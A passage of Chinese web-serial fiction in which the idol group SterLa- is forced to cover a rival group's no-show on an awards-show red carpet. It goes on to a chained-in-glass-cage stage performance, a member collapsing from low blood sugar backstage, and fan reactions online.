空场等于冷场，完全是得罪主办方的行为。没点实力背景，是决计不敢这么干的。 “咦？照这么说，那这个空场的是？”吴星雨一边喃喃一边去翻手机里的出场顺序单。 “别找了，是IUE他们。”于立果举起正显示出场顺序单的手机界面，“按照顺序表上的出场时间，他们已经晚了快7分钟了。” 刚刚欣怡探头出去就是在看他们的车，扭头看看车内几人，轻声说道，“IUE背后是K家娱乐，他家有这次颁奖典礼主办方的控股。” 欣怡一句话，几人立即明白IUE凭什么能在他们前两个位置出场，也明白他们为什么敢空场。 今年SterLa-的发展速度远不是IUE可比的。 不说二专吊打他们二专堪堪十万的销量和不到Top 50 的音源成绩。后面的代言，杂志，也没一个能干过SterLa。有次好不容易在东南亚某个小国的销量比SterLa-高，让他们挂羊头卖狗肉，舞弄着春秋笔墨说自己专辑销量高于SterLa-，然后迅速被乐狮的公关打脸，喜获群嘲。 更别提颁奖典礼前SterLa-跑了好几场音乐节和慈善演出，带来的热度和趋势可真不是作假的。 就凭上面两点，IUE也不该跟SterLa-一样，在今年拿到靠后的出场顺序，更只比SterLa-早两位出场。 现在大家明白了，这是中间做了额外的运作才拿到的出场顺序吧。 “不过IUE那些人怎么想的？”于立果眉头轻皱，满头问号，“原本出场顺序来的就不光彩，还非得这个时候耍个大牌。” “虽然举办方是自己家，但是到场的媒体不是啊？” “这下一个谁啊？”入口处两边，几位身着典型工装马甲的摄影师摘下防干扰耳机，低头接耳，打听着下一位什么情况。 空场不是什么罕见的事儿，只是一般空场都出现在红毯快结束的时候。简而言之，就是真大牌快出场压轴的时候，想欲扬先抑，故意冷上10分钟。只要牌子够大，一般大家也就认了。 “谁知道，这后半场还没过半呢吧？” “空场不罕见，这半中间的时候空场确实罕见哈？”略带些讽刺意味的话在场内慢慢扩散开。 站在红毯尽头的女主持人捏紧手里的话筒，面上尽量还保持着得体的微笑，脑子飞速运转着怎么救场。 正焦灼着，一个穿着白色衬衣戴着工作牌的男人跑上前来，对着她低声几句。 她目露疑色，“真是导演跟你这么说的？” 戴着工作牌的男人点点头，捏着工作牌的吊绳提高，向她展示着自己的工作部门。 女主持人点点头，清清嗓子将话筒移回嘴边，“下面有请我们下一位嘉宾。” “虽然出道时间刚刚过完一周年，但在今年大放光彩的男团：SterLa-！” “是他们？” “看时间差不多是他们。” “老李你傻了吧，刚刚空场可空了十分钟呢。” “咦，人呢？” 现场的摄影师们原本听到报幕准备跟身边同行唠叨两句就干活儿，忽然发现主持人报过幕，入口处却没什么动静。 这是什么情况？ 女主持人也懵圈，面上终于有些挂不住脸，露出些焦急又疑惑的神色。 刚刚那穿白衬衣的男的确实是说导演组已经和SterLa-商量好了让他们来救场啊，人呢？ 不料SterLa-几人比她还懵逼。 “刚刚是叫的我们的名字？”吴星雨表情像是要拧在一起，不确定地看向车内其他人。 江翰飞眉头紧蹙，声音却很平静，“我听到的也是叫的SterLa。” 欣怡死死咬着牙，眼神像是想把搞事儿的人搅碎，“我给君君姐打个电话。” “别打，现在肯定来不及了。”江翰飞出乎意料的冷静，“主持人都报幕了，我们先下去吧。” 在他看来，等待是最容易让人滋生出烦躁情绪的状态。尤其是毫无预期时间的等待。 就像是点了外卖等待送达的人，在预计送达时间之前，他只会看还有多久。但一旦这一单配送的骑手超时，哪怕只是超过了预计送达时间三分钟还没到，人的心态就会开始变得暴躁。 现在外面的主持人已经报幕。对现场的媒体们来说就是一声外卖即将送达的提示。 他们现在还没出现已经是超时的状态，如果再让他们多等一会儿。对先前空场的IUE的不满就要转移到他们身上了。 “我同意。”吴星雨第一个说道，“欣怡姐也继续给君君姐打电话说明情况。” “现在我们先去走红毯，如果后面有什么问题我们随机应变。” “好。”欣怡拿着手机一边答应，一边拨打唐君君电话。 几人对视一眼，默契点头示意，当即不再犹豫。 江翰飞拉开车门。冬天黑的早，不过五点多，已经是夕阳并着路灯一起照明。 因为前面还有两辆车，这里距离红毯的入口还有十多米的距离。 五人下车站定，微微整理自己的衣着，昂首挺胸大踏步地往入口处走去。 正好这时，站在红毯尽头处的女主持人顶不住现场的躁动，不得已压着要颤抖的嗓音再次报幕，“欢迎在今年大放光彩的男团SterLa-！” “诶来了来了。” “这是SterLa-是吧？是他们空场吗？” “狗屁，你不看出场顺序单的吗？” “你看他们都从后面走过来了，肯定是被推出来救场的啊。” “嚯，这身姿，板正儿啊！” 在场的媒体人都是老油子，哪会看不出来这点弯弯绕。 就连台上的女主持人肯定是被真正空场那方给哄骗无意识当了帮凶这事儿，那也是看得一清二楚的。 但谁都不会在意。 娱乐圈嘛，实属正常。 该说不说的，这被迫赶场上来的几位长得确实不错，气质拿捏得也稳当，倒是很有几分风范呐。 SterLa-今年不愧被媒体们誉为热门男团守门员，五人从车上下来那一刻，尖叫和快门声直接淹没了现场。 吴星雨走在最前面打头阵，身后几人各自保持着约莫半身不远不近的距离，散而有型的一边往前走，一边噙着微笑跟身边两侧的媒体工作者们和在这儿等待多时的粉丝们打招呼。 在红毯尽头的主持人还努力保持着得体的微笑，心里却已经慌了神。 这个SterLa-这么火？ 怎么这么火还排在这个时候出场？糟糕，刚刚好像是让他们被迫救场了？明天醒来工作不会没了吧？ 第78章 心里着急的主持人突然灵光一闪。 这个时候出场的人应该是有安排五分钟的额外采访时间的，既然人变了，那这被采访的人变了当然也很正常吧？ “SterLa-各位请往这边来。”女主持人保持微笑叫住签完名，正准备按照计划去往后台的几人。 几人脚步一顿，吴星雨和于立果对视一眼率先转身往那边去，剩下三人自然而然地跟着变换脚步方向。 “今年咱们SterLa-实在有很多出彩的成绩，在出道刚满一周年不久就能获得这些成绩，SterLa-有什么想和大家分享的吗吗？” 这种问题实在是官方又正式，他们在各个活动和晚宴上回答过多次，吴星雨早有经验，沉着稳重地回答着主持人的问题，丝毫不显被突然提问的慌乱，“非常感谢您的认可，也感谢大家对我们的认可。这些成绩离不开我们团队里每一位成员的付出，公司的帮助持和粉丝们不离不弃的支持。” “这些成绩不仅是荣耀，更是激励我们前行的动力，SterLa-会秉持着对舞台的热爱，希望能在未来带给大家更好的作品。” “噢，SterLa-真的非常谦逊。”主持人小姐姐这会儿也反应过来自己当时报幕换人是被人坑了。这会儿对着一起被坑的SterLa-分外友善，不仅额外给了问题时间，问的问题也明显偏帮着他们，“听起来最近团队有在筹备新作品呢？能不能给我们透露一些小细节呢？” 一听主持人说SterLa-可能在筹备新作品，吴星雨还没回答，现场的粉丝们先激动起来，期待地望着红毯尽头的几人。 “这就有点难办了。”吴星雨把话筒推到于立果嘴边，于立果嘴上说着难办，唇角却微微上扬，充满暗示地压低嗓子，“那大家今天可得好好看舞台了。” 粉丝们一听手中握紧SterLa-的应援棒拼命地摇晃着。 “会的！” “今天用放大镜看！” “那就期待你们今晚精彩的舞台表演了。“女主持笑吟吟地转到下一个问题，“那么SterLa-对今天颁奖典礼上获奖有什么期望呢？” 吴星雨听着这问题眉梢一挑，转头和禹安对上眼，下一秒又把话筒凑到禹安嘴边，“我们没有太大的期望，就希望拿到我们该拿的奖项，最最重要的是希望大家能喜欢我们的舞台。” 禹安笑得眉眼弯弯，露出两颗尖尖的小虎牙，给粉丝们一个美颜暴击，场内瞬间又响起粉丝们的尖叫声。 大家也很有分寸，激动几秒之后就收声，安静地听着主持人和自家爱豆互动。 女主持人装作听不懂深意，笑着祝福他们结束采访，“噢，非常感谢SterLa-跟我们分享，期待你们今晚的精彩表演！” 吴星雨代表团队道声谢，和粉丝们挥手再见，领着几人大踏步进入后台通道。 “唉哟我去，紧张死我了。”刚走到后台通道，吴星雨整个人放松下来，刚刚器宇轩昂、沉着稳重的吴队长蔫了下来。 “别在这儿靠着了，后面马上就来人了。”于立果拉拉吴星雨胳膊，几人一起往休息室去。 他们的休息室不远，转过去往另一个舞台的路口就到，休息室里欣怡和唐君君已经在等着他们。 见几人进来，唐君君抬眼，“没事吧？” “红毯上没什么问题，主持人虽然突然采访，但问的问题中规中矩没什么坑，还帮我们宣传了下新专辑。”吴星雨汇报情况，又稍显担心地看向唐君君，“但君君姐，刚刚情况紧急，我们就这样提前顺序进场，会不会？” 唐君君一声冷笑，“放心。今天的事儿我还没去找主办方麻烦呢，主办方还敢来跟我们说什么？” “真当我们一点脾气没有吗？” “媒体那边也都不是傻子，安心准备你们的舞台吧。”见他们没事，谈话半途赶过来的唐君君起身出门离开。 “大家别担心，刚刚君姐已经和主办方沟通好了。”欣怡赶紧安抚，“我们是被迫救场的，不用担心。媒体那边君姐也打点好了。” “他们不会乱写的。” 听问题都被处理好，遇事儿的几人放松下来，把外套脱下挂在一边，靠在沙发上休息。 突然休息室的门被打开了一条缝，时元的脑袋从外面钻进来，“嘿嘿，哥哥们好！” “小元儿怎么这个时候来了？”于立果走上前，把时元带进房间，“上次我和阿飞给你寄的维生素补剂吃完没？” 时元脑袋小鸡啄米似的点头，又对着沙发上几人挨着问好。 SterLa-其余三人对这个很有礼貌，之前也一样被姓唐的坑得很惨的小弟弟很挺喜欢，两边热情地聊起来，大部分都是时元在吐槽之前那个唐姓经纪人平日里的工作，然后SterLa-几人大家附和，一起唾骂。 唐君君重新回来的时候几人正聊得起劲儿，融洽的样子一时间还以为SterLa-不是个五人团而是六人团。 不过当初要不是时元的年纪实在太小，和团里其他几个人搭不上，说不定还真有可能一起组团。 时元对唐君君还算熟悉，上次他被困酒店，是唐君君带着人将他和飞哥救回公司的。 “君君姐好。”时元跟着叫了一声。 唐君君对他点点头，没太在意。毕竟是自己公司的人，本身性格也好，那和自己手底下的团交好，也就没什么需要特别在意的。 她是经纪人，又不真的是他们的妈，还管他们交朋友。 “舞台准备比较复杂，我让欣怡给你们带了巧克力，吃完早点开始做造型。” 坐在沙发上的几人赶紧起身去做妆造。随着唐君君话落，另一边的妆造师也就位。 她进来不过两分钟，休息室已经换了一副场景，开始忙碌起来。 时元还坐在沙发上，看着SterLa-团队动作迅速，配合默契，满眼羡慕地看了一会儿。见大家都忙起来，自觉地跟众人打过招呼，道别回自己的休息室。 “唷，这是又去找哪位大明星回来了啊？”刚回到休息室，青川台派来负责带他们的团队经纪人就冷嘲热讽。 上次时元在酒店被私生包围，后来乐狮找他们公司麻烦，他作为直接责任人也被好一顿骂，到现在都还看时元不顺眼。 当爱豆的人没有遇见私生，处理私生的觉悟，当什么爱豆？ 其余人见状也各玩儿各的，就当没听到。 刘哥默不作声地拿过一个保温杯，里面是他试好温度的热水。时元穿得不多，休息室里有暖气还好，刚刚从外面回来，走廊上的冷气已经把他的衣服浸透了。 时元没回团队经纪人的话，耸眉搭眼地接过刘哥地过来的温水喝一口，分外想念刚刚在SterLa-的氛围。 等时元关门出去，于立果才微不可察地叹口气。 江翰飞正好坐在于立果身边的位置，听见于立果叹气，明白于立果在想什么。 于哥大概是在遗憾没什么好办法能帮到小元吧。 现在小元一个人在外打拼，他们亲近，知道小元身边的几人都不太好相处。哪怕是同公司的两位，也因为小元人气高，私下选择互相抱团，把他排除在外。小元在他们的团里几乎算得上是孤立无援。 而他年纪小也犟，刘哥在这方面帮不上忙。很多麻烦事儿，不是真的解决不了压根儿也不会跟自己两位哥哥说，只他一个小孩儿自己消化情绪。 顶多找着机会就像今天这样，跑过来躲躲。 但他们行程不一样，聚少离多。 江翰飞也不自觉跟着蹙眉，正给他化妆的妆造老师连忙喊道，“哎呀，阿飞别皱眉啊！放松！放松！” 他回过神，又连忙对着化妆老师道歉。 不多会儿，几人做完妆发，造型得等他们快上台之前再来换。上台表演前，他们还得先去艺人区入座。 按照老规矩，吴星雨带着他们几人复习过台上走位和舞蹈小动作才又坐回沙发上休息。 不多久，场馆内开场音乐响起，主持人入场介绍，然后是艺人团体们挨个入场。 比较尴尬的地方是这里的入场顺序是按着红毯顺序来的。 越是靠后出场的团体，越是能证明自身份地位。 时元的团作为选秀团，出道即达到许多男团经营许久都达不到的体量，出场时场内掀起一片欢呼。 而夹杂在一众颇有分量的艺人中的IUE则显得十分尴尬。 他们的红毯顺序有猫腻，实际的人气地位根本比不上他们前后的人。 虽然圈内对这样的做法屡见不鲜，但观众们不知情。这顺序就是在明晃晃地告诉观众们，排在他们前面的团人气地位不如他们吗？ 这谁能高兴得起来。 排IUE前面的几个团在台下候场时没人给IUE好脸色看。 SterLa-出场时，粉丝们爆发出排山倒海般的欢呼声与尖叫声，惹得已经落座和还在他们后面的艺人们频频把目光落在他们身上。 SterLa-这团今年发展得真猛啊，这欢呼声怕不是想把顶给掀翻。 他们身着黑色定制西装，修身的版型将他们的身型优势展露无遗，腰部内收的裁剪显出他们的宽肩窄腰，行走时也完美贴合身体曲线，衬得自在从容。镜头一一扫过几人时又引得台下爆发出一阵欢呼。 “啊啊啊妈妈我要恋爱了，江翰飞的脖子怎么这么修长啊啊啊！” “黑色高领毛衣，好禁欲好喜欢！！” “葛老师葛老师，胸前的口袋巾为什么显得这么欲啊？！” “安安的脚踝也太细了把！是我一手能握住的程度。” 直到他们落座，下一组艺人准备出场，粉丝们才强捂着嘴安静下来。 待全体艺人入场完毕，下一秒场内响起今年的开场团Bearing的表演。 见是Bearing他们出场，禹安立即转头，促狭地朝着江翰飞挤眉弄眼。 江翰飞笑笑，不接禹安的茬。 Bearing去年意外翻红，趁热发售自己的新专。新专质量很不错，成功留住不少当时只是跑来看热闹的粉丝。后来又玩儿命似的跑表演舞台，在粉丝群体内拿下拼命三郎的称呼，就此彻底翻身，端得是今年的一匹黑马。 “这舞台和歌曲质量，确实很不错啊。”于立果凑过来，遮住嘴唇的动作，在江翰飞耳边说道。 “他们练习时间和我们差不多。”江翰飞想起当时对方给自己发的时间表和练习室，练习时间和他们一样几乎都泡在练习室里。而且拍过来的照片，练习室明显老旧，天花板上渗水留下的黑黄色水渍印在灯光下分外显眼。 吴星雨看完表演，趁着串场安静的几秒钟低头加入群聊，“所以我们三专前的练习时间再调整下吧。” “我可不想我们的舞台输给他们。” 几人一起点点头。只他们聊得入神，没注意到周围声音突然安静下来。 蓦地几人有种怪异的预感，汗毛刺刺的。抬头一看大屏幕，屏幕里不正好就是他们几颗脑袋聚在一起的样子。 “哈哈哈哈哈” 观众席上的欢快笑声传遍全场，数SterLa-的粉丝笑得最大声，连艺人席位上也有不少人捂嘴偷笑。 江翰飞几人尴尬地对视一眼，清清嗓子，装作什么也没发生过似的坐直身体。 见他们假装什么都没发生过的尴尬模样，现场观众笑得更大声了。 站坑里SterLa-几人的站姐都快笑疯了。她们跟SterLa-的行程多次，知道他们之间的感情是真好，但在颁奖典礼上，被主办方一锅端地开玩笑，也少见。 导播室内，唐君君站在一边看着转播屏上场内观众的反响，对身边的总负责人露出一个笑，“瞧刚刚导演您说的，这些事儿肯定是您最拿手了。” 导演闻弦歌知雅意，明白唐君君是答应这样的补偿方式，点点头，“那就这样吧。” 唐君君得到导演的承诺也不多留，马上到SterLa-舞台准备时间了，她得去看看。 至于主办方，既然推着SterLa-帮了忙，那该要的报酬就别怪她收得快。 待唐君君回到SterLa-几人的休息室时，他们已经做完造型换好服装，正好遇见后台串场的工作人员过来敲门，“SterLa-，去后台准备吧，下一个舞台就到你们。” 第79章 前台场上刚刚颁完今年的最佳新星奖。 这个奖算是给没有拿到最佳新人奖团体的安慰奖，含金量不高，因此现场和线上直播前的观众们没多少人在意，场馆内低低的声音嘈杂一片。 “啪！” 会场的灯光瞬间全暗。 管风琴的声音似乎从遥远的天边传来，浑厚又蕴含着强大的力量，在场馆内蔓延开来填满整个空间。 会场内低低的嘈杂被压下。 取而代之的是粉丝们的猜测和尖叫声。 “开始了来了来了啊啊！” “啊啊啊啊管风琴管风琴！” “唇枪舌剑吗？啊啊啊！我终于能看到现场了吗？” 场内观众很快克制收声。能来会场内参加颁奖典礼的大多都是平日里也在关注娱乐圈的圈内人士，对今年声名大噪的SterLa-早有耳闻。 前有各种谣言和澄清满天飞，反复上热搜；后有各类舞台表演和活动出圈。 即使不是他们的粉丝，也好奇今年能让这么粉丝垂直入坑的团和他们的舞台表演会是什么样。 真的有粉丝们吹得那么天上有地下无吗？ 浑厚的管风琴前奏渐弱，台上两侧和中间喷出干冰，舞台瞬间烟雾缭绕，隐约烟雾中，台中升降梯托着五个透明的玻璃柜缓缓升起。 观众们距离舞台太远，大屏幕转播镜头被烟雾遮挡，朦胧镜头中观众们只能伸着脖子睁大眼睛边看边猜。 “卧槽！那是什么？” “是玻璃柜子吗？” “还是玻璃的电话亭？” “啊啊啊到底是什么啊？看不清啊！” 等道具完全就位，刚刚已经低下去的管风琴伴奏又渐渐高昂起来。 台下对SterLa-这首歌耳熟能详的粉丝们敏锐地发现，与专辑原曲相比，现在的曲调已经改变。 “改编曲了？” “好像是新的编曲？！专门制作的版本吗？” 按照原曲，这里应该是管风琴渐弱，然后加入小号来带动节奏。 现在小号声悄然无踪，管风琴的声音又渐渐显现。低沉的声音好似幽暗古堡中神秘的呢喃，带着如泣如诉地缠绵，像一条蜿蜒的丝带，滑过众人耳边，带起一身鸡皮疙瘩。 就在全场寂静，正为这诡异的缠绕感到心悸时，重重的鼓点“砰！”地落下，砸得众人心头一震。 只能愣愣地看着台上，隐秘地期待着下一幕。 蒙蒙烟雾散开，台上道具显出形状。SterLa-五人被罩在透明玻璃柜里，镜头滑过，吴星雨戴着手铐，禹安和葛文山戴着脚链，于立果双手被吊起，江翰飞被锁着颈扣，每一个人的身后都有金色的锁链连接着透明的玻璃柜。 他们身着白衣，衣上几条轻盈的丝带坠下，飘飘荡荡。五人似乎都被囚禁在这透明牢笼中，垂着头，看不清他们的神情。 台下观众们瞪大的眼睛像是被磁铁吸附，舍不得眨眼紧盯着台上几人，手无意识地捂住微张的嘴。 “我的天，犯规吧。” “这是什么造型啊？锁链？这是能播的吗？” “这是想表达被囚禁的概念吗？新专概念是囚徒吗？” 艺人席离得更近些，袁杰和几位老友坐在最中间的位置。见台上台下的反响，袁杰左侧的老友颇有些酸道，“现在这些小年轻就喜欢这些奇奇怪怪的舞台，好好的站在台上唱歌不行吗？” 袁杰瞥自家老友一眼，想想原来他也是这种想法，很难理解为什么现在的年轻人会喜欢这种在台上唱唱跳跳，也很抗拒接触那些有时候连歌都不是真唱的所谓爱豆。 但跟江翰飞合作期间渐渐熟识后，他俩聊过好几次这个事情，江翰飞的回答让他到现在还记忆犹新。 “我也是半途才走上这条道路的，所以我也有过您这样的想法。”他不好意思，带着些腼腆地笑笑，“我能理解外人的不解。因为在没有真的踏上这条路之前，我看它也是平坦大道下簇拥着鲜花。如果不是意外，我大概永远不会走上这条路。” “但直到我真的走上这条道路之后，我才发现鲜花遮掩下还有硌脚的碎石。” “有时石头锋利得能划破脚让人失血而亡，倒在半途。” 袁杰理解地点点头，娱乐圈内太多不为人知的肮脏事。 但他又发现江翰飞的眼神突然变得很温柔，带着满满的笑意没有焦点地望着一处，有些出神地说，“但总有人愿意在前面为你铺平道路。他们没有别的想法，只是想看到的也只是我们走在鲜花里的从容模样，希望我们能在这条花团锦簇的道上走得更远。” “而且音乐作品，为什么只能局限于音乐？就像音乐剧添加了表演元素，偶像舞台也只是添加了舞蹈和舞美元素。虽然很自大，但是我和我的队友们一直追求的都是作品，舞台就是我们的作品。”说到这儿时，江翰飞又像回过神一样，专注又认真地看向自己，那双眼睛里是真实的又是真诚的，“就像您的歌声，您的音乐作品能带给大家强烈的情绪共鸣一样，我们想做的也是尽可能带给大家一些情绪上的反馈。” “让他们在伤心的时候看到我们能开心一点，在低谷的时候看到我们的舞台能振奋一些，或者在快乐的时候我们的音乐能更好的传递她的快乐，甚至于只要我们认真努力地向前，他们就会感到快乐。” “所以，这就够了。” 场内管风琴的声音越来越大，仿佛要连观众的呼吸都夺走，轰鸣间，第一句唱词犹如海浪拍岸，铿锵有力又碎得干净利落。 袁杰从记忆里回神，对着老友轻声说道，“你先试着认真看看这个舞台吧。” 随后不再管老友诧异的眼神，专心欣赏由一个偶像团体带来的舞台表演。 伴着歌词，透明玻璃里的几人开始奋力又克制地在玻璃柜里挣扎着，每一次向外奔逃都好似带着无可匹敌的勇气和绝不回头的意志。却又在快成功逃脱时被玻璃柜阻挡，被身上的锁链拉扯回来，摔倒在地，再踉跄重新站起。 时而错落时而整齐划一的舞蹈动作吸引着所有人的视线，会场的灯光照射在玻璃柜上又折射到他们身上，仿佛为他们披上一层光做的衣服，配着管风琴的声音竟显出几分圣洁。 但与之相悖的却是被困在牢笼里痛苦的神色，他们仰望，期待，决心又被一一打碎，化为失败的挣扎。 终于，在歌曲快过半的时候，他们终于可以触摸到玻璃柜的边缘，仿佛就快成功逃出。却突然像触电一般猛然缩回手。 观众们的心跟着一紧。 透明的玻璃柜竟然开始闪烁着霓光。 一阵杂乱闪现之后，大屏镜头推进，观众们发现玻璃柜像是被浸染一般慢慢变成黑色，显现出各种文字。 血淋淋的网络评论符号，文字碎片，嘲讽语言，踩赞图形在变成黑屏的玻璃屏幕上时而扭曲，时而闪动。 伴随着电磁扭曲，键盘敲击的各种音效，玻璃柜中的五人被蔓延的黑屏和符号淹没，再看不见他们的身影，只剩下五个闪烁着各种光效的玻璃柜矗立在台上。 所有人感觉心被揪紧，他们人呢？ 真的就这样被黑暗吞噬了吗？ 台上不见人影，歌唱的声音却还在继续。 直到歌词唱到‘信念作桨，飞越这荒诞战场’，一声‘咔嚓’的清脆碎裂声在所有人耳边响起，台上的玻璃柜面上的满屏鲜血文字中，出现一道光的缝隙和碎裂的痕迹。 管风琴的声音再度高昂，小号不知什么时候也加入进来，带着慷慨激昂的脚步向无知的地方进发。 看着舞台的人心里生出一种预感，就是现在吧？ 仿佛回应着观众的期待。 裂缝越来越大，‘咔嚓！’声效伴与像炸弹一般的烟雾同时爆发。 烟尘渐散，玻璃柜不知所踪，五个被锁的少年身影出现在众人面前。他们终于挣脱牢笼，锁链断裂，身上的白衣染上道道红色痕迹，脸上也多了几道血色印痕。 而当镜头滑过特写时，却是少年们勃勃眼神在无声诉说。 这里就是我们的战场。 我们无畏流言蜚语，我们努力勇敢抗争，我们胜利了。 军乐的激昂曲调中，他们动作整齐划一，手劈劲风，脚踢疾草，紧绷的身体像是蓄势待发的弓箭，要与未知的敌人最后决一死战，动作暴烈又迅猛。 无畏无敌的气势透过转播的大屏直扑观众的眼前，抓紧他们的眼球。他们像是被摄住了呼吸，瞳孔跟着台上几人的舞蹈节奏颤栗，死咬住牙关，不敢松开怕自己尖叫出声。 站坑里的朱朱手也不由一抖。 刚刚江翰飞看过来的那一眼，眼神如狼如蛇，带着凶悍的狠劲儿和锐不可当的锋芒似乎要穿过屏幕，刺伤她的手。 管风琴的声音渐渐低沉，没有硝烟的战场落下帷幕。 惨胜的少年们看似摇晃，却如扎根般坚定站立，一起看向胜利的方向。 最后一个音节落下，台上台下不约而同安静两秒，随后全场爆发出震耳欲聋的欢呼喝彩，声浪如潮一浪接着一浪，一层叠着一层在场内响起，连绵不绝。 是SterLa-粉丝，不是SterLa-粉丝的都眼里闪着光，扯着嗓子呐喊着，高举着手里无论谁的应援棒，为刚刚的精彩表演挥动和尖叫。 艺人席间的袁杰主动站起来给他们鼓掌，其他人见有前辈主动起身，所有的艺人一个接一个地都跟着站起身来，为这一场的精彩表演表达自己的喜爱。 袁杰一边鼓掌，一边侧过头问身旁的老友，“感觉到了吗？” 老友没回话，跟着袁杰鼓掌，却也有些出神。 如果是这种舞台，似乎的确值得欣赏。 “啊啊啊啊啊！！！哥哥哥哥！！江翰飞他们好帅！好帅！！”Bearing的主唱站起来一边尖叫一边使劲儿拍着自己队长的胳膊。 队长没有如往常那样喝止他失态的动作，因为他自己也被表演震撼到现在还没完全回神。 时元更是涨红了脸，兴奋地海豹鼓掌个不停，眼里满是激动赞赏和骄傲，这就是他哥，牛逼吧！ 选秀团里的其他人，有人羡慕，有人失落，也有人暗恨SterLa-夺走太多人的目光。 坐在靠边位置的IUE几人虽然也跟着站起身来一起鼓掌微笑，但微笑里总带着几分勉强和不甘。 同期出道，凭什么他们就能走得这么顺畅这么好？ 但不管是什么情绪，至少在现在，在现场所有粉丝看来，他们都在为SterLa-这场表演喝彩。 连歌唱圈的前辈都在鼓掌呢！ 第80章 台上的江翰飞几人关麦，缓着气鞠躬退场，从另一边下了舞台。 刚走进退场通道，葛文山突然眼前黑红交织，脚步一软，整个人往右边倒去，头就要直接撞在过道墙上。 “老葛！”吴星雨惊叫道，伸手就要去拉他，却差了一点没拉住。 在葛文山头即将撞到墙上的前一秒，江翰飞出现在葛文山右侧，托住葛文山摔倒的身体，自己被葛文山往右的身体惯性狠狠撞到了墙上，发出一声闷哼。 无暇顾及自己，江翰飞低头一看，葛文山额头都是汗，眼睛紧闭，嘴唇泛白，手微微颤抖着。 其他几人也立即围过来轻轻呼喊，“山哥，山哥！？” 江翰飞托着葛文山慢慢蹲下，“山哥应该是低血糖。” “我休息室里的包里有巧克力，在最里面的夹层。” “我去拿。”吴星雨当即站起身，准备跑回休息室拿东西。 葛文山从刚刚眩晕的状态里稍稍恢复，右手紧捏住微微颤抖的左手，撑着江翰飞想站起身来。 刚准备去拿巧克力的吴星雨见状又立即回头扶住摇摇晃晃想起来的葛文山，“山哥，你确定自己是低血糖吧？” 葛文山现在脑袋沉重又迟缓，耳朵嗡鸣，心跳快得像是要蹦出来。 反应好一会儿才明白吴星雨在问什么，点点头。 “阿飞说他有巧克力，你在这儿休息下，我去给你拿点。”吴星雨一边说，一边示意禹安来接住葛文山，准备自己跑回去拿东西。他体力好跑得快。 葛文山不想在这儿呆着，但一时间脑子混沌又找不到合适的话，只能微微皱起眉头。 江翰飞侧着身探头观察葛文山的脸色，“山哥估计想和我们一起回休息室待着。” 于立果左右看看过道，这儿是下场之后回各个艺人休息室的必经之路，人来人往的确不适合在这儿休息，“我们一左一右搀着山哥先回去吧。” “这里人多眼杂，他也休息不好。” 吴星雨应声好，走上前去接禹安手里的葛文山，禹安估摸着自己和葛文山的身高差距，老实让吴星雨接手。 于立果也走到江翰飞身边，“阿飞，你也休息一下，我来扶着。” 江翰飞刚想说自己可以，手臂一用力，背部肩胛骨传来一阵撕扯痛感，让他倒吸一口凉气，皱起眉毛。 于立果见状，着急道，“你也受伤了？！” 这一声又引得吴星雨和禹安看过来。 怎么回事，江翰飞怎么也受伤了？什么时候伤的？ 江翰飞慢慢把葛文山交给于立果，一边站起身，缓着声音说道，“没事没事，刚刚不小心撞到墙，估计是撞青了，冷不丁地用力就扯着疼了下。” 听没什么大事儿，几人放下心来，搀着葛文山往休息室走去。 在休息室里等他们的唐君君和欣怡本来面带笑意，正准备恭喜一下他们这次表演非常成功，却见进来的人里有一个似乎还闭着眼睛，笑容瞬间消失，面色一下子紧张起来。 “怎么回事儿？”唐君君蹙眉问道。 几人把葛文山扶到沙发上躺着。 “应该是低血糖。”江翰飞忍着后背的疼痛感从随身包里翻出两块巧克力，剥好塞在葛文山嘴里。 “好好的怎么突然低血糖了？”唐君君眉头仍没松开，“确认只是低血糖吗？” 边说边拿出手机，想打个电话让医生过来看看。 葛文山吃了巧克力，这会儿缓过来一些，闭着眼睛，“君姐，就是低血糖，真没什么事儿。我缓缓就好。” 唐君君停下打电话的动作，“行，那你先休息休息。” 说完又转身嘱咐欣怡，回头随时备着一点巧克力和糖。 “算了，后天的颁奖典礼后有个两天的空档，你带他们去做□□检。”唐君君不知道想到什么，又安排欣怡给他们加上体检的行程，原定那天早上是要试好三专的服装的，这下得往后推推。 “注意行程保密，去我们公司合作的那家医院。” 正在观看网络直播的观众们化身为到处乱窜的信息流，在各个平台和软件上发疯。 “啊啊啊啊我要疯了，SterLa-我要去告你们，怎么能勾引了人不负责啊！！” “我宣布，今晚暂时断绝和江翰飞的母子情谊，今晚我是真的做不了妈粉啊啊！！！太尼玛野了！” “葛文山那个腿，穿着白色裤子都压不住的性感！！” “真的没有人说禹安的V领吗？天杀的，谁想出来的造型？” “太帅了吧这个编曲！我更喜欢这一版本，求出。” “我去了，有什么特殊含义吗！啊啊啊怎么还有这种技术！？好牛逼！” “好棒！我感觉这个舞台在现场看一定会很震撼。” “我路人，我之前真的觉得SterLa-的粉丝把他们的演唱会舞台吹嘘得很过，但是看完这个直播之后，我现在真的很想去看一场SterLa-的演唱会，感觉会全程蹦迪。” “不用感觉，就是全程蹦迪，中间也会有慢歌穿插，但就算是慢歌也会有精心设计的舞台，完全不会让你感觉无聊或者情绪一下子down下来。” “楼上别再给他们解释了，还嫌现在跟我们抢票的人不够多吗？！！！” “啊啊啊啊好像我真的纠结得要死，一边纠结想让他们被更多人知道，但是我真的不想全家十几二十几个人上场抢票都抢不到啊啊啊啊！！” “真的好期待这场舞台的直拍呜呜呜姐姐！我的站姐大人们！” 前台现场的躁动还没完全消失，观众们有的在和一起来的朋友炫耀自家豆争气，有的也暗自羡慕希望自家豆能这么争气。而站坑里的站姐们跟自己熟识的姐妹儿三三两两地聚在一起讨论SterLa-刚刚的表演。 有些站姐现在万分后悔今天约了同担一起拍，有同担在侧，也不好意思爬墙拍啊！ 会场内嘈杂的讨论声不断，直到主持人准备已经颁发完下一个奖项，新的表演开始才勉强压下。 “老袁，刚刚那个就是你之前合作的？”袁杰老友看了一会儿现在台上的表演，没了继续看的心思，又想到刚刚那个舞台，压低声音问袁杰，“他们是哪家公司的？回头给个经纪人的联系方式我。” 袁杰本来不准备理会叨叨的老友，这会儿听见这话突然来了兴趣，“怎么？感兴趣了？” 老友努努嘴，“这不是跟你学习吗？接受些新鲜事物。” 说完又叹口气，“这互联网时代，也难呐。” 袁杰明白老友的处境，他们这一代也算是赶上时代发展红利，论唱片销量，在没有互联网只能靠碟片听歌的时代才是真正的爆发期。现在这些小年轻们一口一个百万销量，当初的他们可也是不遑多让的。 